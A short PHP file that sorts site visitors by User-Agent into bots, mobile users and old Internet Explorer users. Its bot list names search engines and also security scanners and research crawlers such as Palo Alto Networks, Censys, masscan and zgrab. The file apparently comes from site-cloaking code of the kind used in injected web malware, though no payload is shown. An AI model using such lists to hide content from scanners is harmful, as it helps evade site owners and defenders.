<?php
    //check bots: function
    if(!function_exists("isbot")) {
        function isbot($agent){
            $bots=array("baidu", "bing", "bot", "cmsworldmap", "ezooms", "facebook", "findlinks", "google", "httrack", "yahoo", "yandex", "yandeg", "spider","library","crawler","libwww-perl","mail.ru","montools","netcraft","stumbleupon","href=","feedspot","tencent","sv1; mozilla/","synapse","web-sniffer","gecko/20061204firefox/","curl","pinterest","zgrab","netsystemsresearch","go-http-client","gdnplus","mozila","python","paloaltonetworks","hello, world","masscan","censys","tchelebi","'Mozilla/","base64","net explorer","cronurl","dataprovider", "headlesschrome");
            foreach ($bots as $bot) {
                if (empty($agent) || (stristr($agent, $bot) !== false)){
                    return true;
                }
            }
            return false;
        }
    }
    if(!function_exists("ismobile")) {
        function ismobile($agent){
            $bots=array("opera mini","android","iphone","ipad","mobile");
            foreach ($bots as $bot) {
                if (empty($agent) || (stristr($agent, $bot) !== false)){
                    return true;
                }
            }
            return false;
        }
    }
    if(!function_exists("isobsolete")) {
        function isobsolete($agent){
            $bots=array("msie");
            foreach ($bots as $bot) {
                if (empty($agent) || (stristr($agent, $bot) !== false)){
                    return true;
                }
            }
            return false;
        }
    }
    //check bots
    $is_bot=isset($_SERVER['HTTP_USER_AGENT'])?isbot($_SERVER['HTTP_USER_AGENT']):true;
    $is_mobile=isset($_SERVER['HTTP_USER_AGENT'])?ismobile($_SERVER['HTTP_USER_AGENT']):false;
    $is_obsolete=isset($_SERVER['HTTP_USER_AGENT'])?isobsolete($_SERVER['HTTP_USER_AGENT']):false;
?>